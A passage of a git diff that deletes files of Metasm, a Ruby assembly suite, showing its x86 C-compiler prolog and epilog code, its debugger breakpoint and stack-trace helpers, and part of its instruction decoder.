c_reserve_stack_var(a, off) - @state.offset[a] = off - end - } - end - fa.each { |a| - if a.has_attribute_var('register') or a.type.has_attribute_var('register') - off = c_reserve_stack_var(a, off) - @state.offset[a] = off - next - end - @state.offset[a] = -argoff - argoff = (argoff + sizeof(a) + al - 1) / al * al - } - if not @state.offset.values.grep(::Integer).empty? - @state.saved_ebp = Reg.new(5, @cpusz) - @state.used << 5 - end - end - - def c_prolog - localspc = @state.offset.values.grep(::Integer).max - return if @state.func.has_attribute('naked') - if localspc - al = typesize[:ptr] - localspc = (localspc + al - 1) / al * al - ebp = @state.saved_ebp - esp = Reg.new(4, ebp.sz) - instr 'push', ebp - instr 'mov', ebp, esp - instr 'sub', esp, Expression[localspc] if localspc > 0 - - if @state.func.has_attribute('fastcall') - if a0 = @state.func.type.args[0] - instr 'mov', findvar(a0), Reg.new(1, 32) - end - if a1 = @state.func.type.args[1] - instr 'mov', findvar(a1), Reg.new(2, 32) - end - else - @state.func.type.args.each { |a| - if r = (a.has_attribute_var('register') or a.type.has_attribute_var('register')) - # XXX if r == ebp, then prepend_prolog mov [esp-off], ebp... - # XXX this would break when calling anyway (mov ebp, 42; ; call func) - instr 'mov', findvar(a), Reg.from_str(r) - end - } - end - end - @state.dirty -= @state.abi_trashregs # XXX ABI - @state.dirty.each { |reg| - instr 'push', Reg.new(reg, @cpusz) - } - end - - def c_epilog - return if @state.func.attributes.to_a.include? 'naked' - # TODO revert dynamic array alloc - @state.dirty.reverse_each { |reg| - instr 'pop', Reg.new(reg, @cpusz) - } - if ebp = @state.saved_ebp - instr 'mov', Reg.new(4, ebp.sz), ebp - instr 'pop', ebp - end - f = @state.func - if f.has_attribute('stdcall') or f.has_attribute('fastcall') - al = typesize[:ptr] - fa = f.type.args.dup - 2.times { fa.shift } if f.has_attribute('fastcall') - argsz = fa.inject(0) { |sum, a| - (a.has_attribute_var('register') or a.type.has_attribute_var('register')) ? sum : sum + (sizeof(a) + al - 1) / al * al - } - if argsz > 0 - instr 'ret', Expression[argsz] - else - instr 'ret' - end - else - instr 'ret' - end - end - - # adds the metasm_intern_geteip function, which returns its own address in eax (used for PIC addressing) - def c_program_epilog - if defined? @need_geteip_stub and @need_geteip_stub - return if new_label('metasm_intern_geteip') != 'metasm_intern_geteip' # already defined elsewhere - - eax = Reg.new(0, @cpusz) - label = new_label('geteip') - - @source << Label.new('metasm_intern_geteip') - instr 'call', Expression[label] - @source << Label.new(label) - instr 'pop', eax - instr 'add', eax, Expression['metasm_intern_geteip', :-, label] - instr 'ret' - end -#File.open('m-dbg-precomp.c', 'w') { |fd| fd.puts @parser } -#File.open('m-dbg-src.asm', 'w') { |fd| fd.puts @source } - end -end - - def new_ccompiler(parser, exe=ExeFormat.new) - exe.cpu = self if not exe.instance_variable_get("@cpu") - CCompiler.new(parser, exe) - end -end -end diff --git a/lib/metasm/metasm/cpu/ia32/debug.rb b/lib/metasm/metasm/cpu/ia32/debug.rb deleted file mode 100644 index 952c72fb47..0000000000 --- a/lib/metasm/metasm/cpu/ia32/debug.rb +++ /dev/null @@ -1,193 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ia32/opcodes' - -module Metasm -class Ia32 - def dbg_register_pc - @dbg_register_pc ||= :eip - end - def dbg_register_sp - @dbg_register_sp ||= dbg_register_list[7] - end - def dbg_register_flags - @dbg_register_flags ||= :eflags - end - - def dbg_register_list - @dbg_register_list ||= [:eax, :ebx, :ecx, :edx, :esi, :edi, :ebp, :esp, :eip] - end - - def dbg_register_size - @dbg_register_size ||= Hash.new(32).update(:cs => 16, :ds => 16, :es => 16, :fs => 16, :gs => 16) - end - - def dbg_flag_list - @dbg_flag_list ||= [:c, :p, :a, :z, :s, :i, :d, :o] - end - - DBG_FLAGS = { :c => 0, :p => 2, :a => 4, :z => 6, :s => 7, :t => 8, :i => 9, :d => 10, :o => 11 } - def dbg_get_flag(dbg, f) - (dbg.get_reg_value(dbg_register_flags) >> DBG_FLAGS[f]) & 1 - end - def dbg_set_flag(dbg, f) - fl = dbg.get_reg_value(dbg_register_flags) - fl |= 1 << DBG_FLAGS[f] - dbg.set_reg_value(dbg_register_flags, fl) - end - def dbg_unset_flag(dbg, f) - fl = dbg.get_reg_value(dbg_register_flags) - fl &= ~(1 << DBG_FLAGS[f]) - dbg.set_reg_value(dbg_register_flags, fl) - end - - def dbg_enable_singlestep(dbg) - dbg_set_flag(dbg, :t) if dbg_get_flag(dbg, :t) == 0 - end - def dbg_disable_singlestep(dbg) - dbg_unset_flag(dbg, :t) if dbg_get_flag(dbg, :t) != 0 - end - - def dbg_enable_bp(dbg, bp) - case bp.type - when :bpx; dbg_enable_bpx( dbg, bp) - else dbg_enable_bphw(dbg, bp) - end - end - - def dbg_disable_bp(dbg, bp) - case bp.type - when :bpx; dbg_disable_bpx( dbg, bp) - else dbg_disable_bphw(dbg, bp) - end - end - - def dbg_enable_bpx(dbg, bp) - bp.internal[:previous] ||= dbg.memory[bp.address, 1] - dbg.memory[bp.address, 1] = "\xcc" - end - - def dbg_disable_bpx(dbg, bp) - dbg.memory[bp.address, 1] = bp.internal[:previous] - end - - # allocate a debug register for a hwbp by checking the list of hwbp existing in dbg - def dbg_alloc_bphw(dbg, bp) - if not bp.internal[:dr] - may = [0, 1, 2, 3] - dbg.breakpoint_thread.values.each { |bb| may.delete bb.internal[:dr] } - raise 'alloc_bphw: no free debugregister' if may.empty? - bp.internal[:dr] = may.first - end - bp.internal[:type] ||= :x - bp.internal[:len] ||= 1 - bp.internal[:dr] - end - - def dbg_enable_bphw(dbg, bp) - nr = dbg_alloc_bphw(dbg, bp) - dr7 = dbg[:dr7] - l = { 1 => 0, 2 => 1, 4 => 3, 8 => 2 }[bp.internal[:len]] - rw = { :x => 0, :w => 1, :r => 3 }[bp.internal[:type]] - raise "enable_bphw: invalid breakpoint #{bp.inspect}" if not l or not rw - dr7 &= ~((15 << (16+4*nr)) | (3 << (2*nr))) # clear - dr7 |= ((l << 2) | rw) << (16+4*nr) # set drN len/rw - dr7 |= 3 << (2*nr) # enable global/local drN - - dbg["dr#{nr}"] = bp.address - dbg[:dr7] = dr7 - end - - def dbg_disable_bphw(dbg, bp) - nr = bp.internal[:dr] - dr7 = dbg[:dr7] - dr7 &= ~(3 << (2*nr)) - dbg[:dr7] = dr7 - end - - def dbg_check_pre_run(dbg) - if dbg[:dr6] == 0 and dbg[:dr7] == 0 - dbg[:dr7] = 0x10000 # some OS (eg Windows) only return dr6 if dr7 != 0 - end - dbg[:dr6] = 0 if dbg[:dr6] & 0x400f != 0 - end - - def dbg_evt_bpx(dbg, b) - if b.address == dbg.pc-1 - dbg.pc -= 1 - end - end - - def dbg_find_bpx(dbg) - return if dbg[:dr6] & 0x4000 != 0 - pc = dbg.pc - dbg.breakpoint[pc-1] || dbg.breakpoint[pc] - end - - def dbg_find_hwbp(dbg) - dr6 = dbg[:dr6] - return if dr6 & 0xf == 0 - dn = (0..3).find { |n| dr6 & (1 << n) } - dbg.breakpoint_thread.values.find { |b| b.internal[:dr] == dn } - end - - def dbg_need_stepover(dbg, addr, di) - di and ((di.instruction.prefix and di.instruction.prefix[:rep]) or di.opcode.props[:saveip]) - end - - def dbg_end_stepout(dbg, addr, di) - di and di.opcode.name == 'ret' - end - - # return (yield) a list of [addr, symbolic name] - def dbg_stacktrace(dbg, rec=500) - ret = [] - s = dbg.addrname!(dbg.pc) - yield(dbg.pc, s) if block_given? - ret << [dbg.pc, s] - fp = dbg.get_reg_value(dbg_register_list[6]) - stack = dbg.get_reg_value(dbg_register_list[7]) - 8 - while fp > stack and fp <= stack+0x10000 and rec != 0 - rec -= 1 - ra = dbg.resolve_expr Indirection[fp+4, 4] - s = dbg.addrname!(ra) - yield(ra, s) if block_given? - ret << [ra, s] - stack = fp # ensure we walk the stack upwards - fp = dbg.resolve_expr Indirection[fp, 4] - end - ret - end - - # retrieve the current function return value - # only valid at function exit - def dbg_func_retval(dbg) - dbg.get_reg_value(dbg_register_list[0]) - end - def dbg_func_retval_set(dbg, val) - dbg.set_reg_value(dbg_register_list[0], val) - end - - # retrieve the current function return address - # to be called only on entry of the subfunction - def dbg_func_retaddr(dbg) - dbg.memory_read_int(dbg_register_list[7]) - end - def dbg_func_retaddr_set(dbg, ret) - dbg.memory_write_int(dbg_register_list[7], ret) - end - - # retrieve the current function arguments - # only valid at function entry (eg right after the call) - def dbg_func_arg(dbg, argnr) - dbg.memory_read_int(Expression[:esp, :+, 4*(argnr+1)]) - end - def dbg_func_arg_set(dbg, argnr, arg) - dbg.memory_write_int(Expression[:esp, :+, 4*(argnr+1)], arg) - end -end -end diff --git a/lib/metasm/metasm/cpu/ia32/decode.rb b/lib/metasm/metasm/cpu/ia32/decode.rb deleted file mode 100644 index de90f087d5..0000000000 --- a/lib/metasm/metasm/cpu/ia32/decode.rb +++ /dev/null @@ -1,1326 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ia32/opcodes' -require 'metasm/decode' - -module Metasm -class Ia32 - class ModRM - def self.decode(edata, byte, endianness, adsz, opsz, seg=nil, regclass=Reg, h = {}) - m = (byte >> 6) & 3 - rm = byte & 7 - - if m == 3 - return regclass.new(rm, opsz) - end - - sum = Sum[adsz][m][rm] - - s, i, b, imm = nil - sum.each { |a| - case a - when Integer - if not b - b = Reg.new(a, adsz) - else - s = 1 - if h[:mrmvex] - i = SimdReg.new(a, h[:mrmvex]) - else - i = Reg.new(a, adsz) - end - end - - when :sib - sib = edata.get_byte.to_i - - ii = ((sib >> 3) & 7) - if ii != 4 - s = 1 << ((sib >> 6) & 3) - if h[:mrmvex] - i = SimdReg.new(ii, h[:mrmvex]) - else - i = Reg.new(ii, adsz) - end - end - - bb = sib & 7 - if bb == 5 and m == 0 - imm = Expression[edata.decode_imm("i#{adsz}".to_sym, endianness)] - else - b = Reg.new(bb, adsz) - end - - when :i8, :i16, :i32 - imm = Expression[edata.decode_imm(a, endianness)] - end - } - - if imm and ir = imm.reduce and ir.kind_of?(Integer) and ir < 0 and (ir < -0x10_0000 or (!b and !i)) - # probably a base address -> unsigned - imm = Expression[imm.reduce & ((1 << (adsz || 32)) - 1)] - end - - opsz = h[:argsz] if h[:argsz] - new adsz, opsz, s, i, b, imm, seg - end - end - - class Farptr - def self.decode(edata, endianness, adsz) - addr = Expression[edata.decode_imm("u#{adsz}".to_sym, endianness)] - seg = Expression[edata.decode_imm(:u16, endianness)] - new seg, addr - end - end - - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - op.bin_mask = Array.new(op.bin.length, 0) - op.fields.each { |f, (oct, off)| - op.bin_mask[oct] |= (@fields_mask[f] << off) - } - op.bin_mask.map! { |v| 255 ^ v } - end - - def build_bin_lookaside - # sets up a hash byte value => list of opcodes that may match - # opcode.bin_mask is built here - lookaside = Array.new(256) { [] } - opcode_list.each { |op| - - build_opcode_bin_mask op - - b = op.bin[0] - msk = op.bin_mask[0] - - for i in b..(b | (255^msk)) - lookaside[i] << op if i & msk == b & msk - end - } - lookaside - end - - def decode_prefix(instr, byte) - instr.prefix ||= {} - (instr.prefix[:list] ||= []) << byte - - # XXX actual limit = 15-instr.length - return false if instr.prefix[:list].length >= 15 - - case byte - when 0x66; instr.prefix[:opsz] = true - when 0x67; instr.prefix[:adsz] = true - when 0xF0; instr.prefix[:lock] = true - when 0xF2; instr.prefix[:rep] = :nz - when 0xF3; instr.prefix[:rep] = :z # postprocessed by decode_instr - when 0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65 - if byte & 0x40 == 0 - v = (byte >> 3) & 3 - else - v = byte & 7 - end - instr.prefix[:seg] = SegReg.new(v) - else - return false - end - true - end - - # tries to find the opcode encoded at edata.ptr - # if no match, tries to match a prefix (update di.instruction.prefix) - # on match, edata.ptr points to the first byte of the opcode (after prefixes) - def decode_findopcode(edata) - di = DecodedInstruction.new self - while edata.ptr < edata.data.length - pfx = di.instruction.prefix || {} - byte = edata.data[edata.ptr] - byte = byte.unpack('C').first if byte.kind_of?(::String) - return di if di.opcode = @bin_lookaside[byte].find { |op| - # fetch the relevant bytes from edata - bseq = edata.data[edata.ptr, op.bin.length].unpack('C*') - - # check against full opcode mask - op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) } and - # check special cases - !( - # fail if any of those is true - (fld = op.fields[:seg2A] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg2A] == 1) or - (fld = op.fields[:seg3A] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg3A] < 4) or - (fld = op.fields[:seg3A] || op.fields[:seg3] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg3] > 5) or - (op.props[:modrmA] and fld = op.fields[:modrm] and (bseq[fld[0]] >> fld[1]) & 0xC0 == 0xC0) or - (op.props[:modrmR] and fld = op.fields[:modrm] and (bseq[fld[0]] >> fld[1]) & 0xC0 != 0xC0) or - (fld = op.fields[:vex_vvvv] and @size != 64 and (bseq[fld[0]] >> fld[1]) & @fields_mask[:vex_vvvv] < 8) or - (sz = op.props[:opsz] and opsz(di, op) != sz) or - (sz = op.props[:adsz] and adsz(di, op) != sz) or - (ndpfx = op.props[:needpfx] and not pfx[:list].to_a.include? ndpfx) or - (pfx[:adsz] and op.props[:adsz] and op.props[:adsz] == @size) or - # return non-ambiguous opcode (eg push.i16 in 32bit mode) / sync with addop_post in opcode.rb - (pfx[:opsz] and not op.props[:opsz] and (op.args == [:i] or op.args == [:farptr] or op.name == 'ret')) or - (pfx[:adsz] and not op.props[:adsz] and (op.props[:strop] or op.props[:stropz] or op.args.include?(:mrm_imm) or op.args.include?(:modrm) or op.name =~ /loop|xlat/)) or - (op.name == 'nop' and op.bin[0] == 0x90 and di.instruction.prefix and di.instruction.prefix[:rex_b]) - ) - } - - break if not decode_prefix(di.instruction, edata.get_byte) - di.bin_length += 1 - end - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - bseq = edata.read(op.bin.length).unpack('C*') # decode_findopcode ensures that data >= op.length - pfx = di.instruction.prefix || {} - - case op.props[:needpfx] - when 0x66; pfx.delete :opsz - when 0x67; pfx.delete :adsz - when 0xF2, 0xF3; pfx.delete :rep - end - - if op.props[:setip] and not op.props[:stopexec] and pfx[:seg] - case pfx.delete(:seg).val - when 1; pfx[:jmphint] = 'hintnojmp' - when 3; pfx[:jmphint] = 'hintjmp' - end - end - - field_val = lambda { |f| - if fld = op.fields[f] - (bseq[fld[0]] >> fld[1]) & @fields_mask[f] - end - } - - opsz = op.props[:argsz] || opsz(di) - adsz = (pfx[:adsz] ? 48 - @size : @size) - - mmxsz = ((op.props[:xmmx] && pfx[:opsz]) ? 128 : 64) - op.args.each { |a| - di.instruction.args << case a - when :reg; Reg.new field_val[a], opsz - when :eeec; CtrlReg.new field_val[a] - when :eeed; DbgReg.new field_val[a] - when :eeet; TstReg.new field_val[a] - when :seg2, :seg2A, :seg3, :seg3A; SegReg.new field_val[a] - when :regfp; FpReg.new field_val[a] - when :regmmx; SimdReg.new field_val[a], mmxsz - when :regxmm; SimdReg.new field_val[a], 128 - when :regymm; SimdReg.new field_val[a], 256 - - when :farptr; Farptr.decode edata, @endianness, opsz - when :i8, :u8, :u16; Expression[edata.decode_imm(a, @endianness)] - when :i; Expression[edata.decode_imm("#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym, @endianness)] - - when :mrm_imm; ModRM.decode edata, (adsz == 16 ? 6 : 5), @endianness, adsz, opsz, pfx.delete(:seg) - when :modrm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, opsz, pfx.delete(:seg) - when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz] - when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex] - when :modrmymm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 256, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex] - - when :vexvreg; Reg.new((field_val[:vex_vvvv] ^ 0xf), opsz) - when :vexvxmm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 128) - when :vexvymm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 256) - when :i4xmm; SimdReg.new((edata.decode_imm(:u8, @endianness) >> 4) & 7, 128) - when :i4ymm; SimdReg.new((edata.decode_imm(:u8, @endianness) >> 4) & 7, 256) - - when :imm_val1; Expression[1] - when :imm_val3; Expression[3] - when :reg_cl; Reg.new 1, 8 - when :reg_eax; Reg.new 0, opsz - when :reg_dx; Reg.new 2, 16 - when :regfp0; FpReg.new nil - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length += edata.ptr - before_ptr - - return false if edata.ptr > edata.length - - if op.name == 'movsx' or op.name == 'movzx' - if di.opcode.props[:argsz] == 8 - di.instruction.args[1].sz = 8 - else - di.instruction.args[1].sz = 16 - end - if pfx[:opsz] - di.instruction.args[0].sz = 48-@size - else - di.instruction.args[0].sz = @size - end - elsif op.name == 'crc32' - di.instruction.args[0].sz = 32 - end - - case pfx.delete(:rep) - when :nz - if di.opcode.props[:strop] - pfx[:rep] = 'rep' - elsif di.opcode.props[:stropz] - pfx[:rep] = 'repnz' - end - when :z - if di.opcode.props[:strop] - pfx[:rep] = 'rep' - elsif di.opcode.props[:stropz] - pfx[:rep] = 'repz' - end - end - - di - end - - # converts relative jump/call offsets to absolute addresses - # adds the eip delta to the offset +off+ of the instruction (may be an Expression) + its bin_length - # do not call twice on the same di ! - def decode_instr_interpret(di, addr) - if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname !~ /^i?ret/ - delta = di.instruction.args.last.reduce - arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce - di.instruction.args[-1] = Expression[arg] - end - - di - end - - # return the list of registers as symbols in the order used by pushad - # for use in backtrace and stuff, for compatibility with x64 - # esp is [4] - REG_SYMS = [:eax, :ecx, :edx, :ebx, :esp, :ebp, :esi, :edi] - def register_symbols - REG_SYMS - end - - # interprets a condition code (in an opcode name) as an expression involving backtracked eflags - # eflag_p is never computed, and this returns Expression::Unknown for this flag - # ex: 'z' => Expression[:eflag_z] - def decode_cc_to_expr(cc) - case cc - when 'o'; Expression[:eflag_o] - when 'no'; Expression[:'!', :eflag_o] - when 'b', 'nae', 'c'; Expression[:eflag_c] - when 'nb', 'ae', 'nc'; Expression[:'!', :eflag_c] - when 'z', 'e'; Expression[:eflag_z] - when 'nz', 'ne'; Expression[:'!', :eflag_z] - when 'be', 'na'; Expression[:eflag_c, :|, :eflag_z] - when 'nbe', 'a'; Expression[:'!', [:eflag_c, :|, :eflag_z]] - when 's'; Expression[:eflag_s] - when 'ns'; Expression[:'!', :eflag_s] - when 'p', 'pe'; Expression::Unknown - when 'np', 'po'; Expression::Unknown - when 'l', 'nge'; Expression[:eflag_s, :'!=', :eflag_o] - when 'nl', 'ge'; Expression[:eflag_s, :==, :eflag_o] - when 'le', 'ng'; Expression[[:eflag_s, :'!=', :eflag_o], :|, :eflag_z] - when 'nle', 'g'; Expression[[:eflag_s, :==, :eflag_o], :&, :eflag_z] - when 'ecxz'; Expression[:'!', register_symbols[1]] - when 'cxz'; Expression[:'!', [register_symbols[1], :&, 0xffff]] - end - end - - # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding } - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - def backtrace_binding=(b) @backtrace_binding = b end - - def opsz(di, op=nil) - if di and di.instruction.prefix and di.instruction.prefix[:opsz] and (op || di.opcode).props[:needpfx] != 0x66; 48-@size - else @size - end - end - - def adsz(di, op=nil) - if di and di.instruction.prefix and di.instruction.prefix[:adsz] and (op || di.opcode).props[:needpfx] != 0x67; 48-@size - else @size - end - end - - # populate the @backtrace_binding hash with default values - def init_backtrace_binding - @backtrace_binding ||= {} - - eax, ecx, edx, ebx, esp, ebp, esi, edi = register_symbols - ebx = ebx - - mask = lambda { |di| (1 << opsz(di))-1 } # 32bits => 0xffff_ffff - sign = lambda { |v, di| Expression[[[v, :&, mask[di]], :>>, opsz(di)-1], :'!=', 0] } - - opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| - binding = case op - when 'mov', 'movzx', 'movd', 'movq'; lambda { |di, a0, a1| { a0 => Expression[a1] } } - when 'movsx', 'movsxd' - lambda { |di, a0, a1| - sz1 = di.instruction.args[1].sz - sign1 = Expression[[a1, :>>, sz1-1], :&, 1] - { a0 => Expression[[a1, :|, [sign1, :*, (-1 << sz1)]], :&, mask[di]] } - } - when 'lea'; lambda { |di, a0, a1| { a0 => a1.target } } - when 'xchg'; lambda { |di, a0, a1| { a0 => Expression[a1], a1 => Expression[a0] } } - when 'add', 'sub', 'or', 'xor', 'and', 'pxor', 'adc', 'sbb' - lambda { |di, a0, a1| - e_op = { 'add' => :+, 'sub' => :-, 'or' => :|, 'and' => :&, 'xor' => :^, 'pxor' => :^, 'adc' => :+, 'sbb' => :- }[op] - ret = Expression[a0, e_op, a1] - ret = Expression[ret, e_op, :eflag_c] if op == 'adc' or op == 'sbb' - # optimises eax ^ eax => 0 - # avoid hiding memory accesses (to not hide possible fault) - ret = Expression[ret.reduce] if not a0.kind_of? Indirection - { a0 => ret } - } - when 'xadd'; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1], a1 => Expression[a0] } } - when 'inc'; lambda { |di, a0| { a0 => Expression[a0, :+, 1] } } - when 'dec'; lambda { |di, a0| { a0 => Expression[a0, :-, 1] } } - when 'not'; lambda { |di, a0| { a0 => Expression[a0, :^, mask[di]] } } - when 'neg'; lambda { |di, a0| { a0 => Expression[:-, a0] } } - when 'rol', 'ror' - lambda { |di, a0, a1| - e_op = (op[2] == ?r ? :>> : :<<) - inv_op = {:<< => :>>, :>> => :<< }[e_op] - sz = [a1, :%, opsz(di)] - isz = [[opsz(di), :-, a1], :%, opsz(di)] - # ror a, b => (a >> b) | (a << (32-b)) - { a0 => Expression[[[a0, e_op, sz], :|, [a0, inv_op, isz]], :&, mask[di]] } - } - when 'sar', 'shl', 'sal'; lambda { |di, a0, a1| { a0 => Expression[a0, (op[-1] == ?r ? :>> : :<<), [a1, :%, [opsz(di), 32].max]] } } - when 'shr'; lambda { |di, a0, a1| { a0 => Expression[[a0, :&, mask[di]], :>>, [a1, :%, opsz(di)]] } } - when 'cwd', 'cdq', 'cqo'; lambda { |di| { Expression[edx, :&, mask[di]] => Expression[mask[di], :*, sign[eax, di]] } } - when 'cbw', 'cwde', 'cdqe'; lambda { |di| - o2 = opsz(di)/2 ; m2 = (1 << o2) - 1 - { Expression[eax, :&, mask[di]] => Expression[[eax, :&, m2], :|, [m2 << o2, :*, [[eax, :>>, o2-1], :&, 1]]] } } - when 'push' - lambda { |di, a0| { esp => Expression[esp, :-, opsz(di)/8], - Indirection[esp, opsz(di)/8, di.address] => Expression[a0] } } - when 'pop' - lambda { |di, a0| { esp => Expression[esp, :+, opsz(di)/8], - a0 => Indirection[esp, opsz(di)/8, di.address] } } - when 'pushfd', 'pushf' - # TODO Unknown per bit - lambda { |di| - efl = Expression[0x202] - bts = lambda { |pos, v| efl = Expression[efl, :|, [[v, :&, 1], :<<, pos]] } - bts[0, :eflag_c] - bts[6, :eflag_z] - bts[7, :eflag_s] - bts[11, :eflag_o] - { esp => Expression[esp, :-, opsz(di)/8], Indirection[esp, opsz(di)/8, di.address] => efl } - } - when 'popfd', 'popf' - lambda { |di| bt = lambda { |pos| Expression[[Indirection[esp, opsz(di)/8, di.address], :>>, pos], :&, 1] } - { esp => Expression[esp, :+, opsz(di)/8], :eflag_c => bt[0], :eflag_z => bt[6], :eflag_s => bt[7], :eflag_o => bt[11] } } - when 'sahf' - lambda { |di| bt = lambda { |pos| Expression[[eax, :>>, pos], :&, 1] } - { :eflag_c => bt[0], :eflag_z => bt[6], :eflag_s => bt[7] } } - when 'lahf' - lambda { |di| - efl = Expression[2] - bts = lambda { |pos, v| efl = Expression[efl, :|, [[v, :&, 1], :<<, pos]] } - bts[0, :eflag_c] #bts[2, :eflag_p] #bts[4, :eflag_a] - bts[6, :eflag_z] - bts[7, :eflag_s] - { eax => efl } - } - when 'pushad' - lambda { |di| - ret = {} - st_off = 0 - register_symbols.reverse_each { |r| - ret[Indirection[Expression[esp, :+, st_off].reduce, opsz(di)/8, di.address]] = Expression[r] - st_off += opsz(di)/8 - } - ret[esp] = Expression[esp, :-, st_off] - ret - } - when 'popad' - lambda { |di| - ret = {} - st_off = 0 - register_symbols.reverse_each { |r| - ret[r] = Indirection[Expression[esp, :+, st_off].reduce, opsz(di)/8, di.address] - st_off += opsz(di)/8 - } - ret[esp] = Expression[esp, :+, st_off] # esp is not popped - ret - } - when 'call' - lambda { |di, a0| - sz = opsz(di)/8 - if a0.kind_of? Farptr - { esp => Expression[esp, :-, 2*sz], - Indirection[esp, sz, di.address] => Expression[di.next_addr], - Indirection[[esp, :+, sz], sz, di.address] => Expression::Unknown } - else - { esp => Expression[esp, :-, sz], - Indirection[esp, sz, di.address] => Expression[di.next_addr] } - end - } - when 'callf' - lambda { |di, a0| - sz = opsz(di)/8 - { esp => Expression[esp, :-, 2*sz], - Indirection[esp, sz, di.address] => Expression[di.next_addr], - Indirection[[esp, :+, sz], sz, di.address] => Expression::Unknown } } - when 'ret'; lambda { |di, *a| { esp => Expression[esp, :+, [opsz(di)/8, :+, a[0] || 0]] } } - when 'retf';lambda { |di, *a| { esp => Expression[esp, :+, [opsz(di)/4, :+, a[0] || 0]] } } - when 'loop', 'loopz', 'loopnz'; lambda { |di, a0| { ecx => Expression[ecx, :-, 1] } } - when 'enter' - lambda { |di, a0, a1| - sz = opsz(di)/8 - depth = a1.reduce % 32 - b = { Indirection[ebp, sz, di.address] => Expression[ebp], - Indirection[[esp, :+, a0.reduce+sz*depth], sz, di.address] => Expression[ebp], - ebp => Expression[esp, :-, sz], - esp => Expression[esp, :-, a0.reduce+sz*depth+sz] } - (1..depth).each { |i| - b[Indirection[[esp, :+, a0.reduce+i*sz], sz, di.address]] = - b[Indirection[[ebp, :-, i*sz], sz, di.address]] = - Expression::Unknown # TODO Indirection[[ebp, :-, i*sz], sz, di.address] - } - b - } - when 'leave'; lambda { |di| { ebp => Indirection[[ebp], opsz(di)/8, di.address], esp => Expression[ebp, :+, opsz(di)/8] } } - when 'aaa'; lambda { |di| { eax => Expression::Unknown, :incomplete_binding => Expression[1] } } - when 'imul' - lambda { |di, *a| - if not a[1] - # 1 operand from: store result in edx:eax - bd = {} - m = mask[di] - s = opsz(di) - e = Expression[Expression.make_signed(Expression[a[0], :&, m], s), :*, Expression.make_signed(Expression[eax, :&, m], s)] - if s == 8 - bd[Expression[eax, :&, 0xffff]] = e - else - bd[Expression[eax, :&, m]] = Expression[e, :&, m] - bd[Expression[edx, :&, m]] = Expression[[e, :>>, opsz(di)], :&, m] - end - # XXX eflags? - next bd - end - - if a[2]; e = Expression[a[1], :*, a[2]] - else e = Expression[[a[0], :*, a[1]], :&, (1 << (di.instruction.args.first.sz || opsz(di))) - 1] - end - { a[0] => e } - } - when 'mul' - lambda { |di, *a| - m = mask[di] - e = Expression[a, :*, [eax, :&, m]] - if opsz(di) == 8 - { Expression[eax, :&, 0xffff] => e } - else - { Expression[eax, :&, m] => Expression[e, :&, m], - Expression[edx, :&, m] => Expression[[e, :>>, opsz(di)], :&, m] } - end - } - when 'div', 'idiv'; lambda { |di, *a| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } } - when 'rdtsc'; lambda { |di| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } } - when /^(stos|movs|lods|scas|cmps)[bwd]$/ - lambda { |di, *a| - next {:incomplete_binding => 1} if di.opcode.args.include?(:regxmm) # XXX movsd xmm0, xmm1... - op =~ /^(stos|movs|lods|scas|cmps)([bwd])$/ - e_op = $1 - sz = { 'b' => 1, 'w' => 2, 'd' => 4 }[$2] - eax_ = Reg.new(0, 8*sz).symbolic - dir = :+ - if di.block and (di.block.list.find { |ddi| ddi.opcode.name == 'std' } rescue nil) - dir = :- - end - pesi = Indirection[esi, sz, di.address] - pedi = Indirection[edi, sz, di.address] - pfx = di.instruction.prefix || {} - bd = - case e_op - when 'movs' - case pfx[:rep] - when nil; { pedi => pesi, esi => Expression[esi, dir, sz], edi => Expression[edi, dir, sz] } - else { pedi => pesi, esi => Expression[esi, dir, [sz ,:*, ecx]], edi => Expression[edi, dir, [sz, :*, ecx]], ecx => 0 } - end - when 'stos' - case pfx[:rep] - when nil; { pedi => Expression[eax_], edi => Expression[edi, dir, sz] } - else { pedi => Expression[eax_], edi => Expression[edi, dir, [sz, :*, ecx]], ecx => 0 } - end - when 'lods' - case pfx[:rep] - when nil; { eax_ => pesi, esi => Expression[esi, dir, sz] } - else { eax_ => Indirection[[esi, dir, [sz, :*, [ecx, :-, 1]]], sz, di.address], esi => Expression[esi, dir, [sz, :*, ecx]], ecx => 0 } - end - when 'scas' - case pfx[:rep] - when nil; { edi => Expression[edi, dir, sz] } - else { edi => Expression::Unknown, ecx => Expression::Unknown } - end - when 'cmps' - case pfx[:rep] - when nil; { edi => Expression[edi, dir, sz], esi => Expression[esi, dir, sz] } - else { edi 